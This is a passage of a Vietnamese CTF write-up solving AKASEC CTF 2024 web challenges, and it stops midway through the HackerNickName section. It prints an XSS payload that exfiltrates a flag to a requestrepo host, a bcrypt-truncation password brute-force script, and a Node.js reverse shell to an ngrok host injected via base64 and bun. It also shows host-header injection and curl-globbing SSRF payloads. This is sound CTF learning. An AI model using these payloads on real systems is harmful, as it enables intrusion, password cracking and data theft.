Cuối tuần này câu lạc bộ của mình có tham gia vào giải AKASEC CTF 2024 và cũng đạt được 1 số thành quả nhất định, trong giải thì mình không tự solve được bài nào, mình vẫn chậm trong việc spot lỗi và bypass exploit mà chủ yếu toàn là học hỏi hướng đi và cách giải của các teammates. Nhưng mình cũng học được những kiến thức mới từ teammates và các anh khóa trước nên không sao, kiến thức +1. Về các web challenge của giải này mình thấy khá hay và đa dạng các loại ngôn ngữ, team mình đã cố gắng hết sức những vẫn không clear được web mà vẫn còn 1 challenge rust, khá tiếc vì đấy là challenge mình dành hầu hết thời gian cho nó mà không tìm được hướng đi đúng đắn. Âu cũng là bài học kinh nghiệm để sau mình không dính quá sâu vào rabbithole mà không lùi ra kịp nữa =)) Chia sẻ dài dòng rồi, mình bắt đầu thôi. # Upload ## Đề bài Đây là một challenge như mình thấy thì không có gì ngoài upload và login ở đây cả. ![image](https://hackmd.io/_uploads/BJSDN74H0.png) Nhưng mà mình có cả link bot nữa, nên mình đoán nó sẽ là upload file to XSS ## Source & Exploit Route upload file xử lý khá đơn giản, filename được truyền vào db cùng với tên người dùng, và có thể xem qua endpoint `/view/file-name` ```javascript! app.post('/upload', upload.single('file'), (req, res) => { const fileData = { filename: req.file.filename, path: req.file.path, user: req.user }; uploadfile.insert(fileData, (err, newDoc) => { if (err) { res.status(500).send(err); } else { res.redirect('/view/' + req.file.filename); } }); }); ``` Tại const `upload` trên file được check mime type để xem có đúng là pdf hay không: ```javascript! const upload = multer({ storage: storage, fileFilter: (req, file, cb) => { if (file.mimetype == "application/pdf") { cb(null, true); } else { cb(null, false); return cb(new Error('Only .pdf format allowed!')); } } }); ``` Flag nằm tại route `/flag`, nhưng chỉ truy cập được từ local: ```javascript! app.get('/flag', (req, res) => { let ip = req.connection.remoteAddress; if (ip === '127.0.0.1') { res.json({ flag: 'AKASEC{FAKE_FLAG}' }); } else { res.status(403).json({ error: 'Access denied' }); } }); ``` Mình thấy việc check này lỏng quá, hoàn toàn có thể upload file khác để report bot xss đến route `/flag`, sau đó ném kết quả về requestrepo hộ mình. Mình upload thử trước 1 file html: ![image](https://hackmd.io/_uploads/HJYmPXNHC.png) Nếu trỏ sang view thì sẽ không trigger được xss vì file được xem bằng pdf.js, file nằm trong thư mục `uploads/` nên trỏ đến `/uploads/file-1718003466650.html` sẽ trigger xss: ![image](https://hackmd.io/_uploads/ByxswQVHA.png) ![image](https://hackmd.io/_uploads/Bk12D7ErC.png) Mình craft một file html để xss: ```html! <script> const a = async () => { let b = await fetch('/flag'); let c = await b.text(); let d = await fetch('http://m6fi10oc.requestrepo.com', { method: 'POST', body: c }); }; a(); </script> ``` ![image](https://hackmd.io/_uploads/rk0QuX4r0.png) ![image](https://hackmd.io/_uploads/HyT4FXEBC.png) Gửi cho bot với route `/uploads/file-1718003739434.html` và đợi flag về thôi, lưu ý mình cần gửi với đúng định dạng url của con bot: ```javascript! APPURL: process.env['APPURL'] || "http://127.0.0.1:5000" ``` ![image](https://hackmd.io/_uploads/r1evdXVBA.png) Bot nhanh quá gửi cái requestrepo có request luôn: ![image](https://hackmd.io/_uploads/Hk2_uX4rC.png) Flag: `AKASEC{PDF_1s_4w3s0m3_W1th_XSS_&&_Fr33_P4le5T1n3_r0t4t333d_loooool}` ## Afterthought Sau khi lượn lờ ở kênh discord thì có vẻ intended của bài là CVE của pdf.js thì phải :"> # Proxy For Life ## Đề bài Challenge cho cái giao diện làm mình nghĩ đến vuln SSRF classsic là fetch URL nhưng mà thử 1 hồi không giòn nên mình đi xem source code: ![image](https://hackmd.io/_uploads/ryWOoXVSA.png) ## Source & Exploit Đoạn fetching cũng chỉ đơn thuần là trỏ đến URL bằng một GET request, đọc nội dung và hiển thị render ra nội dung đó trong template html: ```go! func indexHandler(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodPost { config := safeurl.GetConfigBuilder(). Build() client := safeurl.Client(config) url := r.FormValue("url") _, err := client.Get(url) if err != nil { renderTemplate(w, "index", map[string]string{"error": "The URL you entered is dangerous and not allowed."}) fmt.Println(err) return } resp, err := http.Get(url) if err != nil { fmt.Println(err) return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) renderTemplate(w, "index", map[string]interface{}{"result": template.HTML(body)}) return } renderTemplate(w, "index", nil) } ``` Ảo nhất là quả route đến `/flag` cho quả so sánh 1=0 thì in ra flag =))) ```go! func flagHandler(w http.ResponseWriter, r *http.Request) { args := os.Args flag := args[1] if 1 == 0 { // can you beat this :) !? fmt.Fprint(w, flag) } else { fmt.Fprint(w, "Nahhhhhhh") } } ``` Cái route flag coi như bỏ đi sau khi mình đọc đến dòng điều kiện =))). Sau khi nghịch SSRF không ra cái gì, mình chuyển qua xem lib nó có gì sus không thì thấy có thư viện `net/http/pprof` là không được dùng trong code. ```go! import ( "os" "io" "fmt" "net/http" _ "net/http/pprof" "html/template" "github.com/doyensec/safeurl" ) ``` Đi tìm hiểu về thư viện này thì mình thấy có một số path khá hay, cụ thể là `debug/pprof/` -> [Ref](https://gist.github.com/slok/33dad1d0d0bae07977e6d32bcc010188) Trỏ đến thì mình thấy giao diện giải thích khá chi tiết một số path tiếp theo và công dụng: ![image](https://hackmd.io/_uploads/HJUxR7NHA.png) Trong đó mình để ý path cmdline sẽ hiển thị câu lệnh khởi tạo tiến tình hiện tại, là tiến trình web golang này (cũng tương tự như /proc/self/cmdline). Khoan, flag được đưa vào như một tham số chạy web, vậy mình chỉ cần đọc nó là có flag rồi, cần gì route `/flag` kia nữa. Câu lệnh chạy webapp trong Dockerfile đã thể hiện điều mình vừa nói: ![image](https://hackmd.io/_uploads/SJr8CXVHC.png) Cũng không SSRF lắm =)))) ![image](https://hackmd.io/_uploads/B1rwAXNH0.png) Flag: `AKASEC{r0t4t3d_p20x1n9_f002_11f3_15n7_92347_4f732_411____}` # HackerCommunity ## Đề bài Đây là một chall web code bằng ruby với rất nhiều thư mục :)), mình cũng không rành về thằng ruby này lắm nên việc review source mất kha khá thời gian và thực sự là mình cũng chưa hiểu hết cách hoạt động của thằng này Challenge cho mình nhập tên tại endpoint `/join` và sẽ hiển thị tên của những người đã nhập tên tại endpoint `/home` ![image](https://hackmd.io/_uploads/rkG1KR8BC.png) ## Source Code Khi gọi POST request đến `/join`, web server xử lý req thông qua hàm create trong `join_controller.rb`: ```ruby! class JoinController < ApplicationController ... def create redirect_to home_path if session[:user_id] begin @user = User.new(user_params) if @user.save session[:user_id] = @user.id redirect_to home_path else render :index end rescue ActiveModel::UnknownAttributeError => e render plain: e, status: :forbidden end end private def user_params params.delete_if {|k,v| !k.is_a?(String) || !v.is_a?(String) || !k.ascii_only? || ["authenticity_token", "controller", "action", "admin"].include?(k)}.permit! end end ``` - User mới được thêm vào db, sau khi save userid được gán vào session, người dùng được redirect về home_path là `/home` - Các tham số của request sẽ đi qua filter trước khi được lưu, khi có các ký tự không chỉ chứa chuỗi, hoặc không chỉ có các ký tự ascii, hoặc tham số là một trong các tham số như trong code trên thì sẽ bị xóa khỏi request - Mặc định mình thấy có 2 tham số được truyền vào là `authenticity_token` và `username`: ![image](https://hackmd.io/_uploads/BJ8N5AUBA.png) - Chỉ có thuộc tính `username` mới được đưa vào, `authenticity_token` đã bị filter: ![image](https://hackmd.io/_uploads/BJ3D9ALH0.png) Tại route `/home` phục vụ phương thức GET, admin sẽ có thể redirect đến latest/url: ```ruby! class HomeController < ApplicationController def index if session[:user_id] @username = User.find_by(id: session[:user_id]).username if User.find_by(id: session[:user_id]).admin? begin response = HTTP.follow.get(users_latest_url) @users = JSON.parse(response.body) rescue Exception => e render plain: "Error: #{e}", status: 500 end else @users = User.order(created_at: :desc).limit(5).as_json end else redirect_to(join_url) end end end ``` - users_latest_url tại đây là route đầu tiên được khai báo trong file routes.rb: `get '/users/latest', to: "users#latest"` - Lấy body và hiển thị dưới dạng json - Còn nếu như không có sẽ hiển thị 5 người dùng được tạo gần đây nhất Trong routes.rb đã nêu đường dẫn có thể trỏ đến của challenge: ```ruby! Rails.application.routes.draw do root to: redirect('/join') get '/users/latest', to: "users#latest" get '/flag', to: "users#flag" get '/join', to: 'join#index' post '/join', to: 'join#create' get '/home', to: 'home#index' end ``` - Mình chú ý thấy có path `/flag` nằm trong def flag của users_controller Route `/flag` chỉ có thể trỏ đến thông qua local, hàm kiểm tra địa chỉ có phải 127.0.0.1 thì mới cho phép truy cập, không sẽ hiển thị thông báo Access Denied: ```ruby! class UsersController < ApplicationController before_action :restrict_access ... def flag render plain: File.open("/rails/flag.txt").read end private def restrict_access render plain: "Access Denied", status: :forbidden unless request.env['REMOTE_ADDR'] == '127.0.0.1' end end ``` Nên mình nghĩ là cần phải lên admin rồi tìm cách SSRF trỏ đến route flag tại local thì có được flag ## Exploit Việc đầu tiên là mình cần phải làm cách nào đó để set được thuộc tính admin là true trong bảng `users` ```ruby! ActiveRecord::Schema[7.1].define(version: 2024_06_08_020314) do create_table "users", force: :cascade do |t| t.string "username" t.boolean "admin" t.datetime "created_at", null: false t.datetime "updated_at", null: false end ``` Tuy nhiên nếu set là admin=1 ở trong request là bị filter giá trị ngay. Đầu tiên thì mình cũng không để ý, nhưng trong folder log có file development.log là log của quá trình author tạo dựng và thực hiện challenge (mình đoán vậy), tại đây mình có thể thấy rõ ràng kết quả được đưa vào insert trong db sqlite: ![image](https://hackmd.io/_uploads/rkmSDyvrC.png) Mặc định không nhét giá trị admin vào thì admin sẽ được gán là 0 -> false Kéo xuống tiếp 1 đoạn khá dài thì mình để ý thấy có request này khiến admin trở thành 1: ![image](https://hackmd.io/_uploads/HkhpDkvrR.png) Thay vì truyền vào `admin=1` thì mình sử dụng `admin()=1`, đây là cách sử dụng multiparameter attributes trong ruby on rails, thường được sử dụng để lưu giá trị ngày tháng [ref](https://stackoverflow.com/questions/46852044/how-to-support-multiparameter-attributes-in-a-rails-form-object). Ví dụ như date(1i) -> phần tử thứ nhất có kiểu integer Từ đó trong log mình cũng thấy author sử dụng `admin(1i)=1` ![image](https://hackmd.io/_uploads/ryXutkvSR.png) Mình đã có được cách bypass admin từ author ròi=))) ![image](https://hackmd.io/_uploads/rys6c1DHR.png) Giờ mình cần tìm cách trỏ đến route `/flag` tại route `/home`, người em thiện lành - teammate của mình [l3mnt2010](https://hackmd.io/@l3mnt2010) phát hiện thằng này dính host header injection khi truyền vào X-Forwarded-Host thì nó sẽ redirect theo, mình thử chèn burp collaborator thì đúng thật: ![image](https://hackmd.io/_uploads/B1Zo3kwB0.png) ![image](https://hackmd.io/_uploads/r1To2JwS0.png) Theo như mình hiểu là Rails sẽ lấy giá trị của Host để nối với đoạn `users_latest_url` của users tạo thành `_url` hoàn chỉnh rồi follow theo bằng GET request, đây gần như là tính năng của Rails khi các helpers của `_url` dùng giá trị của header Host để build up url: [Ref](https://github.com/rails/rails/issues/29893). Có thể khẳng định nó dính host header injection. Ngon, vậy mình đến local luôn thôi: ![image](https://hackmd.io/_uploads/B1eZakPBA.png) =))) Có vẻ là nó không nhận cổng của mình mà chỉ lấy tên miền xong redirect theo, nên mình sẽ ngrok để host 1 web để redirect ra flag: ![image](https://hackmd.io/_uploads/SkTxaTvSR.png) Khi request mình sẽ phải dấu # để request coi phần /users/latest là fragment chứ không phải url path, vì file kia của mình đang để index.php. Mình nghĩ cũng có thể nhét index.php vào thư mục /users/latest thì sẽ không cần xài dấu fragment nữa =)) Redirect thành công: ![image](https://hackmd.io/_uploads/HJjrAkvSR.png) Gửi request tương tự trên server mình có flag ![image](https://hackmd.io/_uploads/By8k1lvHR.png) Flag: `AKASEC{__W3lc0me_t0_HackerC0mmun1tyy__}` # RustyRoad ## Đề bài Đây là bài mình ngốn mấy ngày để ngồi làm nhưng mà không ra được kết quả ngay từ bước đầu tiên :(( Challenge bao gồm 2 service, web service code bằng rust và log service được thực hiện bằng js ![image](https://hackmd.io/_uploads/rJ19GCDrC.png) ## Source Code ### Rust service Ban đầu website sẽ khai báo khởi tạo 3 giá trị, SECRET -> secret key token được gen 30 ký tự ngẫu nhiên, PASSWORD là mật khẩu của admin và API_KEY là api key cho service js: ```rust! lazy_static! { static ref SECRET: String = { let secret: String = rand::thread_rng() .sample_iter(&Alphanumeric) .take(30) .map(char::from) .collect(); secret }; static ref PASSWORD: String = "REDACTED".to_string(); static ref API_KEY: String = std::env::var("API_KEY").expect("API_KEY must be set"); static ref USERS: Mutex<Vec<User>> = Mutex::new(vec![ User { username: "admin".to_string(), password: hash_password(&PASSWORD), } ]); } ``` - Như mình đã thấy ở đây, người dùng sẽ được lưu vào dạng như một vector với cấu trúc là Users {username , password} - Người dùng admin được tạo với username admin và mật khẩu đã bị mã hóa Mình sẽ nói đến các helper/utils được sử trong các hàm xử lý req trước, trong đó có 2 hàm quan trọng mà mình muốn nói đến: - Hàm subs (mình nghĩ là substitute) sẽ thay thế chữ `PASSWORD` trong input thành mật khẩu của admin: ```rust! fn subs(input: String) -> String { input.replace("PASSWORD", &PASSWORD) } ``` - Hàm hash_password hash mật khẩu của người dùng theo thuật toán bcrypt ```rust! fn hash_password(password: &str) -> String { hash(password, DEFAULT_COST).unwrap() } ``` Tại route /register, khi người dùng đăng kí thì username sẽ được kiểm tra trước khi được lưu vào mutex: ```rust! #[post("/register", data = "<form>")] fn register(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect { let username = subs(form.username.clone()); if username.contains("admin") || username.contains(PASSWORD.as_str()) { return Redirect::to("/register"); } let password = subs(form.password.clone()); let password = hash_password(&password); println!("{:?}, {:?}", username, password); add_user(&username, &password); let claims = Claims { username: form.username.clone(), user_type: "user".to_string(), exp: 10000000000, }; let token = encode(&Header::default(), &claims, &EncodingKey::from_secret(SECRET.as_ref())).unwrap(); cookies.add(Cookie::new("token", token.clone())); Redirect::to("/") } ``` - Username được chạy qua hàm subs, sau đó kiểm tra xem username có chứa admin hoặc mất khẩu của admin không, nếu có redirect về register - Thỏa mãn username, mật khẩu được chạy qua hàm subs và hash_password rồi được thêm vào mutex - Token được tạo dựa trên username điền tại form chứ không phải giá trị đã substitute -> không có trò leak mật khẩu admin tại token được. Loại user_type gắn cứng là `user` -> khỏi bypass token admin luôn Chức năng đăng nhập tại route `login` cũng khá tương tự, khi tìm thấy username đầu tiên trong mutex trùng khớp với username nhập tại form sẽ tiêp tục kiểm tra bằng verify hash để xem có trùng khớp hay không: ```rust! #[post("/login", data = "<form>")] fn login(form: Form<RegisterForm>, cookies: &CookieJar<'_>) -> Redirect { let username = form.username.clone(); let password = form.password.clone(); let users_lock = USERS.lock().unwrap(); let user = users_lock.iter().find(|user| user.username == username); if let Some(user) = user { if verify(&password, &user.password).unwrap() { let user_type = if username == "admin" { "admin".to_string() } else { "user".to_string() }; .... } ``` - Nếu username là admin thì mới có role admin, còn lại sẽ gắn là user -> bắt buộc cần phải login bằng acc admin => Mình có thể kết luận này không có cách nào leak trực tiếp được full mật khẩu admin ra màn hình với logic code này, cũng không có trò tạo admin thứ 2 (vì mình đã thử) bởi hàm find sẽ lấy kết quả nó tìm được đầu tiên và sẽ luôn lấy admin của nó vì admin gốc đứng đầu mảng =)) Route `/log` sử dụng API_KEY ở trên đưa vào header rồi request đến service js port 3000, để sử dụng route này thì user_type phải là admin: ```rust! #[post("/log", format = "json", data = "<log_data>")] async fn admin_log(cookies: &CookieJar<'_>, log_data: Json<Value>) -> Json<String> { let token = cookies.get("token").map(|cookie| cookie.value()).unwrap_or(""); match validate_token(token) { Ok(data) => { if data.claims.user_type == "admin" { let client = reqwest::Client::new(); let res = client.post("http://adminlogging:3000/log") .header(header::AUTHORIZATION, API_KEY.as_str()) .json(&log_data.into_inner()) .send() .await .expect("Failed to send request"); if res.status().is_success() { Json("{ \"status\": \"Logged successfully\" }".to_string()) } else { Json("{ \"status\": \"Failed to log\" }".to_string()) } } else { Json("{ \"status\": \"Access Denied\" }".to_string()) } }, Err(_) => Json("{ \"status\": \"Unauthorized\" }".to_string()), } } ``` ### Service JS Tại đây mình thấy nó xài `$` từ bun thì mình nghĩ ngay đến command injection, service chỉ phục vụ duy nhất 1 công dụng là chạy câu lệnh logger + body với body là nội dung của biến message theo kiểu JSON bằng 1 POST request: ```javascript! if (req.method !== "POST") { return new Response(figlet.textSync("405!"), { status: 405 }); } if (req.headers.get("Content-Type") !== "application/json") { return new Response(figlet.textSync("415!"), { status: 415 }); } const body = await req.json(); if (!body.message) { return new Response(figlet.textSync("400!"), { status: 400 }); } if (url.pathname === "/log") { await $`logger ${body.message}`; return new Response("Logged!", { status: 200 }); } ``` Như vậy, mục tiêu của mình là bypass admin và sử dụng route `/log` để RCE ## Exploit ### Bypass Admin Mình đã thử khá nhiều cách để bypass admin nhưng thất bại, vì cứ nghĩ vuln sẽ theo kiểu code logic nên mình đi tìm cách để leak luôn cả mật khẩu admin qua hàm subs kia, mình thử cả SSTI handlebars của Rust nữa nhưng cũng không mang lại kết quả gì. Sau giải mình mới đc biết solution của 1 team là bcrypt truncation -> cái này mình không nghĩ đến. Khi sử dụng bcrypt để hash thì chuỗi input chỉ có độ dài lớn nhất là 72 byte, nếu như input > 72 byte bcrypt sẽ tự động loại bỏ để tiến hành băm chuỗi đó. Đây là một vuln muôn thủa của bcrypt mà tại trang PHP khi sử dụng hash_password có nhắc đến. Nhưng mình không nghĩ ra vuln này khi đây là ngôn ngữ Rust :(((( Biết được vuln tại đấy, mình có thể leak từ từ từng kí tự của mật khẩu admin bằng việc: - Register account với 71 ký tự 'a' + PASSWORD ![image](https://hackmd.io/_uploads/S1d7FCvrR.png) - Khi đăng kí xong PASSWORD sẽ bị thay bằng mật khẩu của admin, hash_password lấy 72 kí tự đem đi hash -> bao gồm 71 chữ 'a' và ký tự đầu của PASSWORD - Bruteforce login vào tài khoản mình tạo, nếu đăng nhập thành công thì mình có được ký tự đầu của pass admin. - Mình phân loại đâu là request đúng theo giá trị của header Location tại request, vì nếu như request thành công sẽ redirect đến `/`, còn thất bại sẽ là `/login` ![image](https://hackmd.io/_uploads/rycph0DSR.png) ![image](https://hackmd.io/_uploads/BkDAhCPHC.png) - Cứ thế giảm số lượng chữ 'a', brute lấy từng ký tự một, mình có mật khẩu admin Mình viết script py dựa theo ý tưởng của teammate, thanks to [Ngọc](https://hackmd.io/@CaRZODiyRTmwgiK0D4Rf8A): ```python! import requests import random import string BASE_URL = "http://192.168.92.162:1337/" admin = "" for i in range(10): username = "".join(random.choices(string.ascii_letters + string.digits, k=3)) data = { "username": username, "password": "a"*(71-len(admin)) + "PASSWORD" } requests.post(url=BASE_URL+"register", data=data) for char in string.printable: data = { "username": username, "password": "a"*(71-len(admin)) + admin +char } res = requests.post(url=BASE_URL+"login", data=data, allow_redirects=False) location = res.headers["location"] if location == "/": admin += char break print(admin) print(admin) ``` Tại local thì mình đã thấy ra mật khẩu thành công vì local nó hardcode là `REDACTED` ![image](https://hackmd.io/_uploads/B1EVk1dSA.png) Ps: Tại challenge mật khẩu không phải chỉ có 10 kí tự nên mình đã tăng số lượng vòng lên 30 thì có mật khẩu đúng là `M07H4F7H38167Hr33175JU57816M3` Coi như là mình đã bypass thành công admin, chuyển qua stage tiếp theo thôi: ![image](https://hackmd.io/_uploads/HkydJ1OHC.png) ### Command Injection Tại service js rõ ràng là nó đã đưa vào câu lệnh hệ thống bằng module bun, nhưng nếu như truyền vào thì sẽ không hoạt động, vì nếu truyền thẳng vào thì chuỗi sẽ bị escape. Để command không bị escape, mình sẽ sử dụng đến thuộc tính raw: https://bun.sh/docs/runtime/shell#escape-escape-strings ![image](https://hackmd.io/_uploads/HknEl1uS0.png) Khi truyền vào raw thì string command sẽ không bị escape nữa, từ đó có thể thực thi được câu lệnh ![image](https://hackmd.io/_uploads/HyUYx1uB0.png) Challenge không có curl hay wget, nên mình sẽ đi theo hướng reverse shell. Mình xài luôn revese shell theo kiểu nodejs cho chắc cú: ```javascript! (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(19916, "0.tcp.ap.ngrok.io", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })(); ``` Sử dụng bun run để chạy đoạn js này: ![image](https://hackmd.io/_uploads/SylD-yOBC.png) Base64 câu lệnh để đỡ phải escape mấy dấu nháy trong json: ![image](https://hackmd.io/_uploads/rJAaNyuHR.png) Craft thành payload: ```! lmao && echo KGZ1bmN0aW9uKCl7DQogICAgdmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLA0KICAgICAgICBjcCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKSwNCiAgICAgICAgc2ggPSBjcC5zcGF3bigiL2Jpbi9iYXNoIiwgW10pOw0KICAgIHZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOw0KICAgIGNsaWVudC5jb25uZWN0KDE5OTE2LCAiMC50Y3AuYXAubmdyb2suaW8iLCBmdW5jdGlvbigpew0KICAgICAgICBjbGllbnQucGlwZShzaC5zdGRpbik7DQogICAgICAgIHNoLnN0ZG91dC5waXBlKGNsaWVudCk7DQogICAgICAgIHNoLnN0ZGVyci5waXBlKGNsaWVudCk7DQogICAgfSk7DQogICAgcmV0dXJuIC9hLzsgLy8gUHJldmVudHMgdGhlIE5vZGUuanMgYXBwbGljYXRpb24gZnJvbSBjcmFzaGluZw0KfSkoKTs= | base64 -d | bun run - ``` ![image](https://hackmd.io/_uploads/SJUII1_rR.png) Reverse shell thành công ![image](https://hackmd.io/_uploads/HJ0rLJ_rA.png) Flag: `AKASEC{w311_17_41n7_7h47_2u57yyy_4f732_411}` # HackerNickName ## Đề bài Challenge này theo mình đánh giá là hay và khó nhất của giải, được code bằng Java và sử dụng một service code bằng python để hiện ra hackernickname random trong chuỗi có sẵn ![image](https://hackmd.io/_uploads/rJ20pJdHC.png) ## Source Code Route home `/` khi sẽ nhận POST request sẽ xử lý thông tin để trả về một jwt: ```java! @RequestMapping({"/"}) public class HomeController { @PostMapping(consumes = {"application/json"}) public void post(@RequestBody @Valid Hacker hacker, HttpServletResponse response) { hacker.setNickName(this.nicknameService.getNickName()); String token = this.jwtUtil.generateToken(hacker.getInfo()); Cookie cookie = new Cookie("jwt", token); cookie.setHttpOnly(true); cookie.setPath("/"); response.addCookie(cookie); } } ``` - Body request được gửi dưới dạng JSON, `nicknameService.getNickName()` sẽ có nhiệm vụ lấy nickname bất kỳ trong array `nicknames` ```java! public NicknameService(@Value("${nicknames.file.path}") String filePath) throws IOException { this.filePath = ResourceUtils.getFile(filePath).toPath(); List<String> lines = Files.readAllLines(this.filePath); this.nicknames = lines.toArray(new String[0]); } public String getNickName() { return nicknames[random.nextInt(nicknames.length)]; } ``` - Cứ mỗi 2 phút file chứa các nicknames được update bằng service python port 5000 thông qua câu lệnh curl: ```java! @EnableScheduling public static class NickNamesDBUpdate { private final NicknameService nicknameService; public NickNamesDBUpdate(@Autowired NicknameService nicknameService) { this.nicknameService = nicknameService; } @Scheduled(fixedDelay = 2, timeUnit = TimeUnit.MINUTES) public void run() throws IOException, NullPointerException, InterruptedException { String filePath = nicknameService.filePath.toString(); ProcessBuilder pb = new ProcessBuilder("curl", "-f", "http://nicknameservice:5000/getnicknames", "-o", filePath); pb.start().waitFor(); nicknameService.reload(); } } ``` - Thông tin được craft đủ để đưa vào object hacker thông qua `getInfo()`: ```java! public Map<String, Object> getInfo() { Map<String, Object> hackerInfo = new HashMap<>(); hackerInfo.put("nickname", nickName); hackerInfo.put("admin", isAdmin()); return hackerInfo; } ``` - Quan sát thấy các thuộc tính trong JSON được khai báo tại hàm bên trên: ```java! @JsonCreator public Hacker(@JsonProperty(value = "firstName", required = true) String firstName, @JsonProperty(value = "lastName", required = true) String lastName, @JsonProperty(value = "favouriteCategory", required = true) String favouriteCategory, @JacksonInject UserRole hackerRole) { this.firstName = firstName; this.lastName = lastName; this.favouriteCategory = favouriteCategory; this.role = hackerRole; } ``` - Annotation @JsonProperty thông báo rằng giá trị thuộc tính được lấy từ giá trị tương ứng trong JSON - Annotation @JacksonInject thông báo rằng giá trị này không thể lấy từ JSON mà chỉ có thể inject vào, thuộc tính role chính là giá trị trả về của `isAdmin()`, hàm sẽ trả về thuộc tính admin có trong thuộc tính role vì role là 1 instance của class `UserRole`: ```java! public class UserRole { public boolean admin; @JsonCreator public UserRole(@JsonProperty("admin") boolean admin) { this.admin = admin; } } ``` -> Để có thể lên được admin thì mình thấy cần phải set được giá trị của `hackerRole` là `admin=true` thì hàm `isAdmin()` mới trả về true Sau khi POST thành công tại `/` web server sẽ redirect mình sang `/nickname`, tại đây server xử lý khá đơn giản là lấy giá trị của cookie `jwt` tạo từ route trước để lấy giá trị của thuộc tính `nickname` rồi hiện nó ra màn hình. ```java! @GetMapping(produces = {"text/html"}) public String get(Model model, HttpServletRequest request) { Cookie[] cookies = request.getCookies(); if (cookies != null && cookies.length != 0) { Optional<Cookie> jwtCookie = Arrays.stream(cookies).filter((cookie) -> { return "jwt".equals(cookie.getName()); }).findFirst(); if (!jwtCookie.isEmpty() && this.jwtUtil.validateToken(((Cookie)jwtCookie.get()).getValue())) { model.addAttribute("nickname", this.jwtUtil.extractClaims(((Cookie)jwtCookie.get()).getValue()).get("nickname")); return "nickname"; } else { return "redirect:/"; } } else { return "redirect:/"; } } ``` Thứ mình muốn đến là các route có điều kiện, đầu tiên là route của admin sẽ có prefix `/admin/`, tại đây có chức năng `update` cho phép thực thi lệnh curl mà mình có thể control giá trị `url` ```java! @PostMapping({"/update"}) public ResponseEntity<String> post(@RequestParam("url") String url, HttpServletRequest request) throws NullPointerException, IOException, InterruptedException { if (!this.isAdmin(request.getCookies())) { return ResponseEntity.status(401).body("You are not an admin."); } else { URL parsedUrl; try { parsedUrl = new URL(url); } catch (MalformedURLException var6) { return ResponseEntity.status(401).body(var6.getMessage()); } if (parsedUrl.getProtocol().equals("http") && parsedUrl.getHost().equals("nicknameservice") && parsedUrl.getPort() == 5000) { ProcessBuilder pb = new ProcessBuilder(new String[]{"curl", "-f", url, "-o", this.nicknameService.filePath.toString()}); Process p = pb.start(); p.waitFor(); this.nicknameService.reload(); return ResponseEntity.ok("updated."); } else { return ResponseEntity.status(401).body("Invalid URL"); } } } ``` - Gọi một request POST với param url, url này sẽ bị filter trước khi đưa vào câu lệnh curl, cụ thể là phải có protocol `http://`, host phải là `nicknameservice` và port 5000 -> y như cái url update file nickname thì mới đưa vào được câu lệnh curl Route mà mình nghĩ cần dùng để RCE được là tại `/ExperimentalSerializer`, tuy nhiên nó chỉ được sử dụng ở localhost: ```java! @RequestMapping({"/ExperimentalSerializer"}) public class ExperimentalSerializerController { public ExperimentalSerializerController() { } @GetMapping public String experimentalSerializer(@RequestParam(value = "serialized",required = false) String serialized, HttpServletRequest request, Model model) { if (!request.getRemoteAddr().equals("127.0.0.1")) { return "redirect:/"; } else { if (serialized != null) { HashMap<String, Object> result = ExperimentalSerializer.deserialize(serialized); model.addAttribute("result", result.toString()); } return "serializer"; } } } ``` - Hàm lấy giá trị từ param URL `serialized` để thực thi hàm deserialize tự custom, nhưng để truy cập tới thì IP truy cập phải là localhost, kết hợp với route `/admin/update` bên trên thì mình cần phải để server curl đến mới thỏa mãn truy cập vào đc route này. - Phần deserialize mình sẽ nói kĩ hơn ở phần khai thác bên dưới, nhưng sink của nó tồn tại ở `readValue` có chứa CVE-2017-17485 ```java! public static HashMap<String, Object> deserialize(String serialized) { ObjectMapper mapper = new ObjectMapper(); HashMap<String, Object> result = new HashMap<String, Object>(); try { List<SerializationItem> dataList = mapper.readValue(serialized, new TypeReference<List<SerializationItem>>() {}); ... ``` ## Exploit ### Bypass Admin by Jackson annotation Theo lý thuyết thì thuộc tính hackRole không thể truy cập được thông qua json, tuy nhiên teammate [endy](https://hackmd.io/@endy) tìm được link doc và cách bypass rất hay (mình search không ra :cry:) https://blog.kuron3k0.vip/2021/04/10/vulns-of-misunderstanding-annotation/ Bằng cách truyền vào giá trị key là null: "", mình có thể ghi giá trị vào field kế tiếp. Từ đó mình có thể truyền vào `"":{"admin":true}` thì có thể set được giá trị của này vào role, bypass admin thành công: ![image](https://hackmd.io/_uploads/SJZukXurA.png) Đã có jwt session valid, giờ mình cần tìm cách SSRF vào route /ExperimentalSerializer thông qua câu lệnh `curl` tại route /admin/update ### SSRF to /ExperimentalSerializer using curl globbing Vì được nhét vào câu lệnh curl, nên mình hoàn toàn có thể truyền 2 URL vào câu lệnh thông qua curl globbing để bypass đoạn check. Có 2 cách để curl globbing, một là sử dụng `[]` để truyền vào một chuỗi tăng dần các ký tự, ví dụ `[1-10]` hoặc `[e-f]lag`, khi curl server sẽ curl đến 2 chỗ: elag và flag, còn hai là sử dụng `{}` để truyền vào một tập các giá trị, cách nhau bằng dấu `,` ví dụ như `{a,b,c}` thì khi curl sẽ thực hiện curl từng cái a,b,c một thành các request riêng biệt Từ đó mình đã có payload như này: ``` url=http://{nicknameservice:5000/, 127.0.0.1:8090/}ExperimentalSerializer?serialized= ``` Nhưng payload này không thành công ![image](https://hackmd.io/_uploads/SJU7VmOSA.png) Mình đoán là do đang ko lấy được host đúng của URL, sau khi thử một hồi không được thì mình đã đi ngủ để mai dậy làm tiếp, sáng hôm sau mình thấy teammate [chanze](https://hackmd.io/@chanze) có cách bypass là sử dụng `@` để truyền vào giá trị host: ``` url=http://{@nicknameservice:5000/, 127.0.0.1:8090/}ExperimentalSerializer?serialized= ``` `@` là một native syntax để khai báo một URI, cấu trúc của một URI sẽ có như sau: ``` URI = scheme ":" ["//" authority] path ["?" query] ["#" fragment] ``` Bên trong phần authority sẽ chứa user, pass, host và port: ``` authority = [userinfo "@"] host [":" port] ``` Một URI đầy đủ có thể được biểu diễn bằng hình dưới đây 